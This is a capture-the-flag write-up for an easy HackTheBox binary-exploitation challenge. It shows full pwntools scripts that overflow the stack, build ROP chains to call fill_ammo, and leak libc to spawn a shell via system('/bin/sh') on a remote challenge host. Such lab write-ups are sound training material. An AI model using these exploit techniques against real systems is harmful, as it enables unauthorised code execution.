Rocket Blaster XXX

Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!

Solution Approach

Core idea: ROP gadgets. Manipulate return address.

Steps

1. In this challenge we're given a 64 bit binary, dynamically linked, not stripped.

BINARY PROTECTIONS

1. Upon reviewing the decompiled code on ghidra, we can see the main() function only accepts 1 input then terminate the process.

2. Reviewing other functions, we noticed a function named fill_ammo which opens the flag file then print it's content.

3. Seems the objective here is to return to fill_ammo. Noticed the fill_ammo function accepts 3 params, those 3 also used for a checker.

4. However since there is no canary and PIE is disabled, hence it's very easy for us to pwn the binary.

GET RIP OFFSET --> 40

1. Great! Next, let's search for useful gadgets.
2. Popping 3 values to param, means we need RDI (as the 1st arg), RSI (as the 2nd arg), and RDX (as the 3rd arg).

CHECK FOR GADGETS

1. Nice! The gadgets are available.
2. We can do simple ROP then, here's the crafted script.

SCRIPT

 py read-only • copy allowed Copy
from pwn import *

exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

### context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

sh = process(exe)

rop = ROP(elf)
p = flat([
    cyclic(40),
    rop.find_gadget([
        'ret'
    ]).address,
    rop.find_gadget([
        'pop rdi',
        'ret'
    ]).address,
    0xdeadbeef,
    rop.find_gadget([
        'pop rsi',
        'ret'
    ]).address,
    0xdeadbabe,
    rop.find_gadget([
        'pop rdx',
        'ret'
    ]).address,
    0xdead1337,
    elf.sym['fill_ammo']
])

sh.sendline(p)
sh.interactive()

REMOTE TEST

1. As you can see, we got the flag!.

ALTERNATE SCRIPT (much shorter using ropstar).

 py read-only • copy allowed Copy
from pwn import *

exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

### context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

### sh = process(exe)

sh = remote('94.237.54.176',59344)

rop = ROP(elf)
rop.call(rop.ret.address)
rop.fill_ammo(0xdeadbeef,0xdeadbabe,0xdead1337)

p = cyclic(40) + rop.chain()

sh.sendline(p)
sh.interactive()

GAINED RCE

1. Remembering there is no canary, no PIE, and RDI is available. We can perform ret2libc here.
2. Simply leak the printf@got address to calculate the libc base.
3. Then execute another ROP to perform system("/bin/sh").
4. Here's the crafted script.

SCRIPT (RCE)

 py read-only • copy allowed Copy
from pwn import *

exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

### context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

### sh = process(exe)

sh = remote('94.237.54.176',59344)
rop = ROP(elf)

p = flat([
    cyclic(40),
    rop.find_gadget(['pop rdi', 'ret'])[0],
    elf.got['printf'],
    elf.plt['puts'],
    elf.sym['main']
])

sh.sendline(p)
sh.recvuntil(b'testing..')
sh.recvline()

leak = unpack(sh.recv(6) + b'\x00' * 2)
success(f'LIBC LEAK --> {hex(leak)}')
libc.address = leak - libc.sym['printf']
info(f'LIBC BASE --> {hex(libc.address)}')

p = flat([
    cyclic(40),
    rop.find_gadget(['ret']).address,
    rop.find_gadget(['pop rdi', 'ret']).address,
    next(libc.search(b'/bin/sh\x00')),
    libc.sym['system']
])

sh.sendline(p)
sh.interactive()

1. Nice! We've pwned it!

Flag

REDACTED

Lessons Learned

1. ROP gadgets.
2. Manipulate return address.
3. Popping 3 gadgets.